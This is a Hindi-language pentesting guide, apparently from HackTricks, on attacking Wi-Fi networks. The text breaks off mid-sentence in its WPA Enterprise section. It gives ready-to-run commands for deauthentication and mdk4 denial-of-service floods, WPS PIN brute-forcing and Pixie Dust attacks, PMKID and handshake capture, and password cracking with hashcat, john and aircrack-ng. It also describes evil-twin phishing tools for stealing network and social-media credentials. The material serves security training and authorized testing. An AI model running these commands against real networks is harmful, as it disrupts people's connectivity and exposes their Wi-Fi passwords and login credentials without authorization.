# Pentesting Wifi {{#include ../../banners/hacktricks-training.md}} ## Wifi बुनियादी कमांड ```bash ip link show #List available interfaces iwconfig #List available interfaces airmon-ng check kill #Kill annoying processes airmon-ng start wlan0 #Monitor mode airmon-ng stop wlan0mon #Managed mode airodump-ng wlan0mon #Scan (default 2.4Ghz) airodump-ng wlan0mon --band a #Scan 5Ghz airodump-ng wlan0mon --wps #Scan WPS iwconfig wlan0 mode monitor #Put in mode monitor iwconfig wlan0mon mode managed #Quit mode monitor - managed mode iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis iwlist wlan0 scan #Scan available wifis ``` ## उपकरण ### Hijacker & NexMon (एंड्रॉइड आंतरिक Wi-Fi) {{#ref}} enable-nexmon-monitor-and-injection-on-android.md {{#endref}} ### EAPHammer ``` git clone https://github.com/s0lst1c3/eaphammer.git ./kali-setup ``` ### एयरगेडन ```bash mv `which dhcpd` `which dhcpd`.old apt install isc-dhcp-server apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe ``` **डॉकर के साथ एयरगेडन चलाएँ** ```bash docker run \ --rm \ -ti \ --name airgeddon \ --net=host \ --privileged \ -p 3000:3000 \ -v /tmp:/io \ -e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \ v1s1t0r1sh3r3/airgeddon ``` ### wifiphisher यह Evil Twin, KARMA, और Known Beacons हमले कर सकता है और फिर एक फ़िशिंग टेम्पलेट का उपयोग करके नेटवर्क का असली पासवर्ड प्राप्त करने या सोशल नेटवर्क क्रेडेंशियल्स कैप्चर करने में सक्षम होता है। ```bash git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision cd wifiphisher # Switch to tool's directory sudo python setup.py install # Install any dependencies ``` ### [Wifite2](https://github.com/derv82/wifite2) यह उपकरण **WPS/WEP/WPA-PSK** हमलों को स्वचालित करता है। यह स्वचालित रूप से: - इंटरफ़ेस को मॉनिटर मोड में सेट करें - संभावित नेटवर्क के लिए स्कैन करें - और आपको पीड़ित(ों) का चयन करने दें - यदि WEP - WEP हमले शुरू करें - यदि WPA-PSK - यदि WPS: पिक्सी डस्ट हमला और ब्रूटफोर्स हमला (सावधान रहें, ब्रूट-फोर्स हमला लंबा समय ले सकता है)। ध्यान दें कि यह शून्य PIN या डेटाबेस/जनरेटेड PINs का प्रयास नहीं करता है। - इसे क्रैक करने के लिए AP से PMKID कैप्चर करने का प्रयास करें - एक हैंडशेक कैप्चर करने के लिए AP के क्लाइंट को डिअथेंटिकेट करने का प्रयास करें - यदि PMKID या हैंडशेक, तो शीर्ष 5000 पासवर्ड का उपयोग करके ब्रूटफोर्स करने का प्रयास करें। ## हमलों का सारांश - **DoS** - डिअथेंटिकेशन/डिसएसोसिएशन -- सभी को डिस्कनेक्ट करें (या एक विशिष्ट ESSID/क्लाइंट) - यादृच्छिक नकली APs -- नेटवर्क छिपाएं, संभावित स्कैनर्स को क्रैश करें - AP को ओवरलोड करें -- AP को मारने का प्रयास करें (आमतौर पर बहुत उपयोगी नहीं) - WIDS -- IDS के साथ खेलें - TKIP, EAPOL -- कुछ विशिष्ट हमले कुछ APs को DoS करने के लिए - **क्रैकिंग** - **WEP** क्रैक करें (कई उपकरण और विधियाँ) - **WPA-PSK** - **WPS** पिन "ब्रूट-फोर्स" - **WPA PMKID** ब्रूटफोर्स - \[DoS +] **WPA हैंडशेक** कैप्चर + क्रैकिंग - **WPA-MGT** - **यूज़रनेम कैप्चर** - **ब्रूटफोर्स** क्रेडेंशियल्स - **ईविल ट्विन** (DoS के साथ या बिना) - **ओपन** ईविल ट्विन \[+ DoS] -- कैप्टिव पोर्टल क्रेड्स कैप्चर करने और/या LAN हमले करने के लिए उपयोगी - **WPA-PSK** ईविल ट्विन -- यदि आप पासवर्ड जानते हैं तो नेटवर्क हमलों के लिए उपयोगी - **WPA-MGT** -- कंपनी के क्रेडेंशियल्स कैप्चर करने के लिए उपयोगी - **KARMA, MANA**, **लाउड MANA**, **जाने-माने बीकन** - **+ ओपन** -- कैप्टिव पोर्टल क्रेड्स कैप्चर करने और/या LAN हमले करने के लिए उपयोगी - **+ WPA** -- WPA हैंडशेक कैप्चर करने के लिए उपयोगी ## DOS ### डिअथेंटिकेशन पैकेट्स **विवरण** [**यहां**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** **डिअथेंटिकेशन** हमले, Wi-Fi हैकिंग में एक सामान्य विधि, "प्रबंधन" फ़्रेमों को जाली बनाने में शामिल होते हैं ताकि **डिवाइस को नेटवर्क से बलात्कारी रूप से डिस्कनेक्ट किया जा सके**। ये अनएन्क्रिप्टेड पैकेट क्लाइंट्स को यह विश्वास दिलाते हैं कि वे वैध नेटवर्क से हैं, जिससे हमलावरों को WPA हैंडशेक एकत्र करने या नेटवर्क कनेक्शनों को लगातार बाधित करने की अनुमति मिलती है। यह रणनीति, अपनी सरलता में चिंताजनक, व्यापक रूप से उपयोग की जाती है और नेटवर्क सुरक्षा के लिए महत्वपूर्ण निहितार्थ है। **Aireplay-ng का उपयोग करके डिअथेंटिकेशन** ``` aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 ``` - -0 का मतलब है डिऑथेंटिकेशन - 1 डिऑथ्स की संख्या है जो भेजी जानी है (आप चाहें तो कई भेज सकते हैं); 0 का मतलब है कि उन्हें लगातार भेजें - -a 00:14:6C:7E:40:80 एक्सेस पॉइंट का MAC पता है - -c 00:0F:B5:34:30:30 क्लाइंट का MAC पता है जिसे डिऑथेंटिकेट करना है; यदि इसे छोड़ दिया जाए तो ब्रॉडकास्ट डिऑथेंटिकेशन भेजा जाता है (हमेशा काम नहीं करता) - ath0 इंटरफेस का नाम है ### डिसएसोसिएशन पैकेट्स **डिसएसोसिएशन पैकेट्स**, डिऑथेंटिकेशन पैकेट्स के समान, Wi-Fi नेटवर्क में उपयोग किए जाने वाले प्रबंधन फ्रेम का एक प्रकार हैं। ये पैकेट एक डिवाइस (जैसे लैपटॉप या स्मार्टफोन) और एक एक्सेस पॉइंट (AP) के बीच कनेक्शन को तोड़ने के लिए कार्य करते हैं। डिसएसोसिएशन और डिऑथेंटिकेशन के बीच मुख्य अंतर उनके उपयोग के परिदृश्यों में है। जबकि एक AP **डिऑथेंटिकेशन पैकेट्स को नेटवर्क से बुरे डिवाइसों को स्पष्ट रूप से हटाने के लिए उत्सर्जित करता है, डिसएसोसिएशन पैकेट्स आमतौर पर तब भेजे जाते हैं जब AP बंद हो रहा है**, पुनः आरंभ हो रहा है, या स्थानांतरित हो रहा है, जिससे सभी जुड़े नोड्स का डिस्कनेक्शन आवश्यक हो जाता है। **यह हमला mdk4(mode "d") द्वारा किया जा सकता है:** ```bash # -c # -b victim_client_mac.txt contains the MAC address of the device to eliminate # -e WifiName is the name of the wifi # -B BSSID is the BSSID of the AP # Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F ``` ### **mdk4 द्वारा अधिक DOS हमले** **यहां** [**यहां**](https://en.kali.tools/?p=864)**.** **हमला मोड b: बीकन बाढ़** क्लाइंट्स पर नकली APs दिखाने के लिए बीकन फ़्रेम भेजता है। यह कभी-कभी नेटवर्क स्कैनर्स और यहां तक कि ड्राइवरों को भी क्रैश कर सकता है! ```bash # -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit # -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES) # -m use real BSSIDS # All the parameters are optional and you could load ESSIDs from a file mdk4 wlan0mon b -a -w nta -m ``` **ATTACK MODE a: Authentication Denial-Of-Service** सभी सुलभ एक्सेस पॉइंट्स (APs) को ऑथेंटिकेशन फ्रेम भेजने से इन APs पर ओवरलोड हो सकता है, खासकर जब कई क्लाइंट शामिल होते हैं। यह तीव्र ट्रैफिक सिस्टम की अस्थिरता का कारण बन सकता है, जिससे कुछ APs फ्रीज या यहां तक कि रीसेट हो सकते हैं। ```bash # -a BSSID send random data from random clients to try the DoS # -i BSSID capture and repeat pakets from authenticated clients # -m use real MACs # only -a or -i can be used mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m ``` **ATTACK MODE p: SSID Probing and Bruteforcing** Access Points (APs) की जांच करना यह सुनिश्चित करता है कि SSID सही तरीके से प्रकट हुआ है और AP की रेंज की पुष्टि करता है। यह तकनीक, **bruteforcing hidden SSIDs** के साथ या बिना वर्डलिस्ट के, छिपे हुए नेटवर्क की पहचान और पहुंच में मदद करती है। **ATTACK MODE m: Michael Countermeasures Exploitation** विभिन्न QoS कतारों में यादृच्छिक या डुप्लिकेट पैकेट भेजने से **TKIP APs** पर Michael Countermeasures सक्रिय हो सकते हैं, जिससे एक मिनट के लिए AP बंद हो जाता है। यह विधि एक प्रभावी **DoS** (Denial of Service) हमले की रणनीति है। ```bash # -t of a TKIP AP # -j use inteligent replay to create the DoS mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j] ``` **ATTACK MODE e: EAPOL Start और Logoff Packet Injection** एक AP को **EAPOL Start फ्रेम** के साथ बाढ़ देना **फर्जी सत्र** बनाता है, AP को ओवरलोड करता है और वैध क्लाइंट्स को ब्लॉक करता है। वैकल्पिक रूप से, **फर्जी EAPOL Logoff संदेश** इंजेक्ट करना क्लाइंट्स को मजबूरन डिस्कनेक्ट करता है, दोनों विधियाँ नेटवर्क सेवा को प्रभावी रूप से बाधित करती हैं। ```bash # Use Logoff messages to kick clients mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l] ``` **ATTACK MODE s: IEEE 802.11s मेष नेटवर्क के लिए हमले** मेष नेटवर्क में लिंक प्रबंधन और रूटिंग पर विभिन्न हमले। **ATTACK MODE w: WIDS भ्रम** क्लाइंट्स को कई WDS नोड्स या नकली रॉग APs से क्रॉस-कनेक्ट करना Intrusion Detection और Prevention Systems को प्रभावित कर सकता है, जिससे भ्रम और संभावित सिस्टम दुरुपयोग उत्पन्न होता है। ```bash # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) mkd4 -e -c [-z] ``` **ATTACK MODE f: Packet Fuzzer** एक पैकेट फज़्ज़र जिसमें विभिन्न पैकेट स्रोत और पैकेट हेरफेर के लिए एक व्यापक सेट के संशोधक शामिल हैं। ### **Airggedon** _**Airgeddon**_ पिछले टिप्पणियों में प्रस्तावित अधिकांश हमलों की पेशकश करता है: ![](<../../images/image (95).png>) ## WPS WPS (Wi-Fi Protected Setup) उपकरणों को राउटर से जोड़ने की प्रक्रिया को सरल बनाता है, **WPA** या **WPA2** व्यक्तिगत के साथ एन्क्रिप्टेड नेटवर्क के लिए सेटअप की गति और आसानी को बढ़ाता है। यह आसानी से समझौता किए जा सकने वाले WEP सुरक्षा के लिए अप्रभावी है। WPS एक 8-अंकीय PIN का उपयोग करता है, जिसे दो भागों में मान्य किया जाता है, जिससे यह सीमित संयोजनों (11,000 संभावनाएँ) के कारण ब्रूट-फोर्स हमलों के प्रति संवेदनशील हो जाता है। ### WPS Bruteforce इस क्रिया को करने के लिए 2 मुख्य उपकरण हैं: Reaver और Bully। - **Reaver** को WPS के खिलाफ एक मजबूत और व्यावहारिक हमले के लिए डिज़ाइन किया गया है, और इसे विभिन्न प्रकार के एक्सेस पॉइंट और WPS कार्यान्वयन के खिलाफ परीक्षण किया गया है। - **Bully** WPS ब्रूट फोर्स हमले का **नया कार्यान्वयन** है, जो C में लिखा गया है। इसमें मूल रीवर कोड की तुलना में कई लाभ हैं: कम निर्भरताएँ, बेहतर मेमोरी और CPU प्रदर्शन, एंडियननेस का सही प्रबंधन, और विकल्पों का एक अधिक मजबूत सेट। यह हमला **WPS PIN की संवेदनशीलता** का लाभ उठाता है, विशेष रूप से पहले चार अंकों के उजागर होने और अंतिम अंक की चेकसम के रूप में भूमिका, जिससे ब्रूट-फोर्स हमले को आसान बनाता है। हालाँकि, ब्रूट-फोर्स हमलों के खिलाफ सुरक्षा, जैसे **आक्रामक हमलावरों के MAC पते को ब्लॉक करना**, हमले को जारी रखने के लिए **MAC पते की घुमाव** की मांग करती है। Bully या Reaver जैसे उपकरणों के साथ WPS PIN प्राप्त करने पर, हमलावर WPA/WPA2 PSK का अनुमान लगा सकता है, जिससे **स्थायी नेटवर्क पहुंच** सुनिश्चित होती है। ```bash reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 ``` **स्मार्ट ब्रूट फोर्स** यह परिष्कृत दृष्टिकोण ज्ञात कमजोरियों का उपयोग करके WPS PINs को लक्षित करता है: 1. **पूर्व-खोजी गई PINs**: विशिष्ट निर्माताओं से जुड़े ज्ञात PINs का एक डेटाबेस उपयोग करें जो समान WPS PINs का उपयोग करते हैं। यह डेटाबेस MAC-पते के पहले तीन ऑक्टेट्स को इन निर्माताओं के लिए संभावित PINs के साथ सहसंबंधित करता है। 2. **PIN जनरेशन एल्गोरिदम**: ComputePIN और EasyBox जैसे एल्गोरिदम का लाभ उठाएं, जो AP के MAC-पते के आधार पर WPS PINs की गणना करते हैं। Arcadyan एल्गोरिदम को अतिरिक्त रूप से एक डिवाइस ID की आवश्यकता होती है, जो PIN जनरेशन प्रक्रिया में एक परत जोड़ता है। ### WPS पिक्सी डस्ट हमला **डोमिनिक बोंगार्ड** ने कुछ एक्सेस पॉइंट्स (APs) में गुप्त कोड बनाने के संबंध में एक दोष खोजा, जिसे **नॉनसेस** (**E-S1** और **E-S2**) के रूप में जाना जाता है। यदि इन नॉनसेस का पता लगाया जा सकता है, तो AP के WPS PIN को क्रैक करना आसान हो जाता है। AP एक विशेष कोड (हैश) के भीतर PIN को प्रकट करता है ताकि यह साबित हो सके कि यह वैध है और एक नकली (रोग) AP नहीं है। ये नॉनसेस मूल रूप से "सुरक्षित" को "खोलने" के लिए "चाबियाँ" हैं जो WPS PIN को रखती हैं। इस पर अधिक जानकारी [यहाँ]() मिल सकती है। सरल शब्दों में, समस्या यह है कि कुछ APs ने कनेक्शन प्रक्रिया के दौरान PIN को एन्क्रिप्ट करने के लिए पर्याप्त यादृच्छिक कुंजियों का उपयोग नहीं किया। इससे PIN को नेटवर्क के बाहर से अनुमानित किया जा सकता है (ऑफलाइन ब्रूट फोर्स हमला)। ```bash reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 ``` यदि आप डिवाइस को मॉनिटर मोड में स्विच नहीं करना चाहते हैं, या `reaver` और `bully` में कुछ समस्या है, तो आप [OneShot-C](https://github.com/nikita-yfh/OneShot-C) आजमा सकते हैं। यह उपकरण Pixie Dust हमले को मॉनिटर मोड में स्विच किए बिना करने में सक्षम है। ```bash ./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37 ``` ### Null Pin हमला कुछ खराब डिज़ाइन किए गए सिस्टम एक **Null PIN** (खाली या गैर-मौजूद PIN) को एक्सेस देने की अनुमति देते हैं, जो कि काफी असामान्य है। उपकरण **Reaver** इस कमजोरियों का परीक्षण करने में सक्षम है, जबकि **Bully** नहीं है। ```bash reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' ``` ### Airgeddon सभी प्रस्तावित WPS हमले _**airgeddon**_ का उपयोग करके आसानी से किए जा सकते हैं। ![](<../../images/image (219).png>) - 5 और 6 आपको **आपका कस्टम PIN** आजमाने की अनुमति देते हैं (यदि आपके पास कोई है) - 7 और 8 **Pixie Dust हमला** करते हैं - 13 आपको **NULL PIN** का परीक्षण करने की अनुमति देता है - 11 और 12 **उपलब्ध डेटाबेस से चयनित AP से संबंधित PINs को पुनः प्राप्त करेंगे** और **संभावित PINs** उत्पन्न करेंगे: ComputePIN, EasyBox और वैकल्पिक रूप से Arcadyan (सिफारिश की, क्यों नहीं?) - 9 और 10 **हर संभावित PIN** का परीक्षण करेंगे ## **WEP** अब यह बहुत टूटा हुआ और अप्रयुक्त है। बस जान लें कि _**airgeddon**_ के पास इस प्रकार की सुरक्षा पर हमला करने के लिए "All-in-One" नामक एक WEP विकल्प है। अधिक उपकरण समान विकल्प प्रदान करते हैं। ![](<../../images/image (432).png>) --- --- ## WPA/WPA2 PSK ### PMKID 2018 में, **hashcat** [प्रकट किया](https://hashcat.net/forum/thread-7717.html) एक नया हमला विधि, जो अद्वितीय है क्योंकि इसे केवल **एक ही पैकेट** की आवश्यकता होती है और इसे लक्ष्य AP से जुड़े किसी भी क्लाइंट की आवश्यकता नहीं होती—बस हमलावर और AP के बीच बातचीत। कई आधुनिक राउटर संघ के दौरान **पहले EAPOL** फ्रेम में एक **वैकल्पिक फ़ील्ड** जोड़ते हैं, जिसे `Robust Security Network` के रूप में जाना जाता है। इसमें `PMKID` शामिल है। जैसा कि मूल पोस्ट में बताया गया है, **PMKID** ज्ञात डेटा का उपयोग करके बनाया जाता है: ```bash PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) ``` "PMK नाम" स्थिर है, हमें AP और स्टेशन का BSSID पता है, और `PMK` एक पूर्ण 4-तरफा हैंडशेक से समान है, **hashcat** इस जानकारी का उपयोग करके PSK को क्रैक कर सकता है और पासफ़्रेज़ को पुनर्प्राप्त कर सकता है! इस जानकारी को **इकट्ठा** करने और पासवर्ड को स्थानीय रूप से **ब्रूटफोर्स** करने के लिए आप कर सकते हैं: ```bash airmon-ng check kill airmon-ng start wlan0 git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1 ``` ```bash #You can also obtains PMKIDs using eaphammer ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ``` कैप्चर किए गए **PMKIDs** **कंसोल** में दिखाए जाएंगे और **/tmp/attack.pcap** के अंदर भी **सहेजे** जाएंगे।\ अब कैप्चर को **hashcat/john** प्रारूप में परिवर्तित करें और इसे क्रैक करें: ```bash hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt ``` कृपया ध्यान दें कि एक सही हैश का प्रारूप **4 भागों** में होता है, जैसे: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` यदि आपका **केवल** **3 भाग** है, तो यह **अमान्य** है (PMKID कैप्चर मान्य नहीं था)। ध्यान दें कि `hcxdumptool` **हैंडशेक भी कैप्चर करता है** (कुछ ऐसा दिखाई देगा: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**)। आप **हैंडशेक** को **hashcat**/**john** प्रारूप में `cap2hccapx` का उपयोग करके **परिवर्तित** कर सकते हैं। ```bash tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"] hccap2john pmkid.hccapx > handshake.john john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes ``` _मैंने देखा है कि इस उपकरण के साथ कैप्चर किए गए कुछ हैंडशेक को सही पासवर्ड जानने के बावजूद क्रैक नहीं किया जा सका। मैं सुझाव दूंगा कि यदि संभव हो तो पारंपरिक तरीके से भी हैंडशेक कैप्चर करें, या इस उपकरण का उपयोग करके उनमें से कई कैप्चर करें।_ ### हैंडशेक कैप्चर **WPA/WPA2** नेटवर्क पर एक हमला **हैंडशेक** को कैप्चर करके और पासवर्ड को **ऑफलाइन** **क्रैक** करने का प्रयास करके किया जा सकता है। इस प्रक्रिया में एक विशिष्ट नेटवर्क और **BSSID** के संचार की निगरानी करना शामिल है, एक विशेष **चैनल** पर। यहाँ एक संक्षिप्त मार्गदर्शिका है: 1. लक्ष्य नेटवर्क का **BSSID**, **चैनल**, और एक **कनेक्टेड क्लाइंट** पहचानें। 2. निर्दिष्ट चैनल और BSSID पर नेटवर्क ट्रैफ़िक की निगरानी करने के लिए `airodump-ng` का उपयोग करें, उम्मीद है कि एक हैंडशेक कैप्चर हो सके। कमांड इस तरह दिखेगा: ```bash airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap ``` 3. हैंडशेक कैप्चर करने के मौके को बढ़ाने के लिए, क्लाइंट को नेटवर्क से अस्थायी रूप से डिस्कनेक्ट करें ताकि पुनः प्रमाणीकरण को मजबूर किया जा सके। यह `aireplay-ng` कमांड का उपयोग करके किया जा सकता है, जो क्लाइंट को डिअथेंटिकेशन पैकेट भेजता है: ```bash aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios ``` _ध्यान दें कि जब क्लाइंट को डिऑथेंटिकेट किया गया, तो यह किसी अन्य AP या, अन्य मामलों में, किसी अन्य नेटवर्क से कनेक्ट करने की कोशिश कर सकता है।_ जब `airodump-ng` में कुछ हैंडशेक जानकारी दिखाई देती है, तो इसका मतलब है कि हैंडशेक कैप्चर किया गया है और आप सुनना बंद कर सकते हैं: ![](<../../images/image (172) (1).png>) एक बार हैंडशेक कैप्चर हो जाने के बाद, आप इसे `aircrack-ng` के साथ **क्रैक** कर सकते हैं: ``` aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap ``` ### फ़ाइल में हैंडशेक की जांच करें **aircrack** ```bash aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture ``` **tshark** ```bash tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages. ``` [**cowpatty**](https://github.com/roobixx/cowpatty) ``` cowpatty -r psk-01.cap -s "ESSID" -f - ``` _यदि यह उपकरण किसी ESSID का अधूरा हैंडशेक पूर्ण हैंडशेक से पहले पाता है, तो यह मान्य हैंडशेक का पता नहीं लगाएगा।_ **pyrit** ```bash apt-get install pyrit #Not working for newer versions of kali pyrit -r psk-01.cap analyze ``` ## **WPA Enterprise (MGT)** In **एंटरप्राइज WiFi सेटअप में, आप विभिन्न प्रमाणीकरण विधियों का सामना करेंगे**, प्रत्येक विभिन्न सुरक्षा स्तरों और प्रबंधन सुविधाओं को प्रदान करती है। जब आप नेटवर्क ट्रैफ़िक का निरीक्षण करने के लिए `airodump-ng` जैसे उपकरणों का उपयोग करते हैं, तो आप इन प्रमाणीकरण प्रकारों के लिए पहचानकर्ता देख सकते हैं। कुछ सामान्य विधियाँ शामिल हैं: ``` 6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi ``` 1. **EAP-GTC (Generic Token Card)**: - यह विधि हार्डवेयर टोकन और EAP-PEAP के भीतर एक बार के पासवर्ड का समर्थन करती है। MSCHAPv2 के विपरीत, यह एक पीयर चुनौती का उपयोग नहीं करती है और पासवर्ड को एक्सेस पॉइंट पर स्पष्ट रूप में भेजती है, जो डाउनग्रेड हमलों के लिए जोखिम पैदा करती है। 2. **EAP-MD5 (Message Digest 5)**: - इसमें क्लाइंट से पासवर्ड का MD5 हैश भेजना शामिल है। यह **सिफारिश नहीं की जाती** है क्योंकि यह शब्दकोश हमलों के प्रति संवेदनशील है, सर्वर प्रमाणीकरण की कमी है, और सत्र-विशिष्ट WEP कुंजी उत्पन्न करने में असमर्थ है। 3. **EAP-TLS (Transport Layer Security)**: - प्रमाणीकरण के लिए क्लाइंट-साइड और सर्वर-साइड प्रमाणपत्रों का उपयोग करता है और संचार को सुरक्षित करने के लिए उपयोगकर्ता-आधारित और सत्र-आधारित WEP कुंजी को गतिशील रूप से उत्पन्न कर सकता है। 4. **EAP-TTLS (Tunneled Transport Layer Security)**: - एक एन्क्रिप्टेड टनल के माध्यम से आपसी प्रमाणीकरण प्रदान करता है, साथ ही उपयोगकर्ता-विशिष्ट, सत्र-विशिष्ट WEP कुंजी निकालने की विधि भी। यह केवल सर्वर-साइड प्रमाणपत्रों की आवश्यकता होती है, जिसमें क्लाइंट क्रेडेंशियल्स का उपयोग करते हैं। 5. **PEAP (Protected Extensible Authentication Protocol)**: - यह EAP के समान कार्य करता है, सुरक्षित संचार के लिए एक TLS टनल बनाता है। यह टनल द्वारा प्रदान की गई सुरक्षा के कारण EAP के शीर्ष पर कमजोर प्रमाणीकरण प्रोटोकॉल के उपयोग की अनुमति देता है। - **PEAP-MSCHAPv2**: अक्सर PEAP के रूप में संदर्भित, यह कमजोर MSCHAPv2 चुनौती/प्रतिक्रिया तंत्र को एक सुरक्षात्मक TLS टनल के साथ जोड़ता है। - **PEAP-EAP-TLS (या PEAP-TLS)**: EAP-TLS के समान है लेकिन प्रमाणपत्रों का आदान-प्रदान करने से पहले एक TLS टनल शुरू करता है, जो सुरक्षा की एक अतिरिक्त परत प्रदान करता है। आप इन प्रमाणीकरण विधियों के बारे में अधिक जानकारी [यहां](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) और [यहां](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html) प्राप्त कर सकते हैं। ### Username Capture [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) को पढ़ने पर ऐसा लगता है कि यदि आप **EAP** का उपयोग कर रहे हैं तो **"Identity"** **messages** का **समर्थन** होना चाहिए, और **username** **"Response Identity"** संदेशों में **स्पष्ट** रूप से भेजा जाएगा। यहां तक कि सबसे सुरक्षित प्रमाणीकरण विधियों में से एक: **PEAP-EAP-TLS** का उपयोग करते समय भी, **EAP प्रोटोकॉल में भेजे गए username को कैप्चर करना संभव है**। ऐसा करने के लिए, **एक प्रमाणीकरण संचार को कैप्चर करें** (एक चैनल के भीतर `airodump-ng` शुरू करें और उसी इंटरफेस में `wireshark`) और पैकेट को `eapol` द्वारा फ़िल्टर करें।\ "**Response, Identity**" पैकेट के भीतर, क्लाइंट का **username** दिखाई देगा। ![](<../../images/image (850).png>) ### Anonymous Identities पहचान छिपाना EAP-PEAP और EAP-TTLS दोनों द्वारा समर्थित है। WiFi नेटवर्क के संदर्भ में, EAP-Identity अनुरोध आमतौर पर एसोसिएशन प्रक्रिया के दौरान एक्सेस पॉइंट (AP) द्वारा शुरू किया जाता है। उपयोगकर्ता की गुमनामी की सुरक्षा सुनिश्चित करने के लिए, उपयोगकर्ता के डिवाइस पर EAP क्लाइंट से प्रतिक्रिया में केवल प्रारंभिक RADIUS सर्वर द्वारा अनुरोध को संसाधित करने के लिए आवश्यक जानकारी होती है। इस अवधारणा को निम्नलिखित परिदृश्यों के माध्यम से दर्शाया गया है: - EAP-Identity = anonymous - इस परिदृश्य में, सभी उपयोगकर्ता अपने उपयोगकर्ता पहचानकर्ता के रूप में उपनाम "anonymous" का उपयोग करते हैं। प्रारंभिक RADIUS सर्वर या तो EAP-PEAP या EAP-TTLS सर्वर के रूप में कार्य करता है, जो PEAP या TTLS प्रोटोकॉल के सर्वर-साइड का प्रबंधन करता है। आंतरिक (सुरक्षित) प्रमाणीकरण विधि फिर या तो स्थानीय रूप से संभाली जाती है या एक दूरस्थ (होम) RADIUS सर्वर को सौंप दी जाती है। - EAP-Identity = anonymous@realm_x - इस स्थिति में, विभिन्न क्षेत्रों के उपयोगकर्ता अपनी पहचान छिपाते हैं जबकि अपने संबंधित क्षेत्रों को इंगित करते हैं। यह प्रारंभिक RADIUS सर्वर को EAP-PEAP या EAP-TTLS अनुरोधों को उनके होम क्षेत्रों में RADIUS सर्वरों को प्रॉक्सी करने की अनुमति देता है, जो PEAP या TTLS सर्वर के रूप में कार्य करते हैं। प्रारंभिक RADIUS सर्वर केवल एक RADIUS रिले नोड के रूप में कार्य करता है। - वैकल्पिक रूप से, प्रारंभिक RADIUS सर्वर EAP-PEAP या EAP-TTLS सर्वर के रूप में कार्य कर सकता है और या तो सुरक्षित प्रमाणीकरण विधि को संभाल सकता है या इसे किसी अन्य सर्वर को अग्रेषित कर सकता है। यह विकल्प विभिन्न क्षेत्रों के लिए विशिष्ट नीतियों को कॉन्फ़िगर करने की सुविधा प्रदान करता है। EAP-PEAP में, एक बार जब PEAP सर्वर और PEAP क्लाइंट के बीच TLS टनल स्थापित हो जाता है, तो PEAP सर्वर एक EAP-Identity अनुरोध शुरू करता है और इसे TLS टनल के माध्यम से भेजता है। क्लाइंट इस दूसरे EAP-Identity अनुरोध का उत्तर EAP-Identity प्रतिक्रिया भेजकर देता है, जिसमें उपयोगकर्ता की वास्तविक पहचान एन्क्रिप्टेड टनल के माध्यम से होती है। यह दृष्टिकोण 802.11 ट्रैफ़िक पर किसी भी व्यक्ति को उपयोगकर्ता की वास्तविक पहचान प्रकट करने से प्रभावी रूप से रोकता है। EAP-TTLS एक थोड़ी अलग प्रक्रिया का पालन करता है। EAP-TTLS के साथ, क्लाइंट आमतौर पर PAP या CHAP का उपयोग करके प्रमाणीकरण करता है, जो TLS टनल द्वारा सुरक्षित होता है। इस मामले में, क्लाइंट प्रारंभिक TLS संदेश में एक User-Name विशेषता और या तो एक Password या CHAP-Password विशेषता शामिल करता है जो टनल स्थापना के बाद भेजा जाता है। चाहे कोई भी प्रोटोकॉल चुना जाए, PEAP/TTLS सर्वर TLS टनल स्थापित होने के बाद उपयोगकर्ता की वास्तविक पहचान के बारे में जानकारी प्राप्त करता है। वास्तविक पहचान को user@realm या बस user के रूप में दर्शाया जा सकता है। यदि PEAP/TTLS सर्वर 